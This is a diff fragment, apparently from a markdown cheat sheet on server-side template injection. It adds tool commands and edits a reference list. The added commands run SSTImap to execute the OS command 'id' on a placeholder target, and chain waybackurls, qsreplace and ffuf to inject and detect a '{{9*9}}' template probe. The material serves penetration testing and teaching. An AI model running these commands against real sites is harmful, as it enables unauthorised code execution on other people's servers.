+python3 sstimap.py -u 'https://target.example.com/page?name=test' -C 'id' # Run command
+
+# Parameter discovery
+waybackurls http://target.example.com | qsreplace "ssti{{9*9}}" > fuzz.txt
+ffuf -u FUZZ -w fuzz.txt -replay-proxy http://127.0.0.1:8080/ -mr "ssti81"
+arjun -u http://target.example.com/page --stable
```
---
## Key References
-- PortSwigger SSTI Research: https://portswigger.net/research/server-side-template-injection
+- PortSwigger Research: https://portswigger.net/research/server-side-template-injection
+- PortSwigger SSTI Labs: https://portswigger.net/web-security/server-side-template-injection
- PayloadsAllTheThings SSTI: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
- HackTricks SSTI: https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html
- tplmap: https://github.com/epinna/tplmap
- SSTImap: https://github.com/vladko312/SSTImap
- TInjA: https://github.com/Hackmanit/TInjA
-- Jinja2 Documentation (sandbox): https://jinja.palletsprojects.com/en/3.1.x/sandbox/
-- Spring SpEL Documentation: https://docs.spring.io/spring-framework/reference/core/expressions.html
+- Jinja2 Sandbox: https://jinja.palletsprojects.com/en/3.1.x/sandbox/
+- Spring SpEL: https://docs.spring.io/spring-framework/reference/core/expressions.html
- Freemarker Security: https://freemarker.apache.org/docs/app_faq.html#faq_template_uploading_security
+- OWASP SSTI Testing: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Tests/07-Input_Validation_Testing/18-Testing_for_Server-side_Template_Injection
+- CWE-1336: https://cwe.mitre.org/data/definitions/1336.html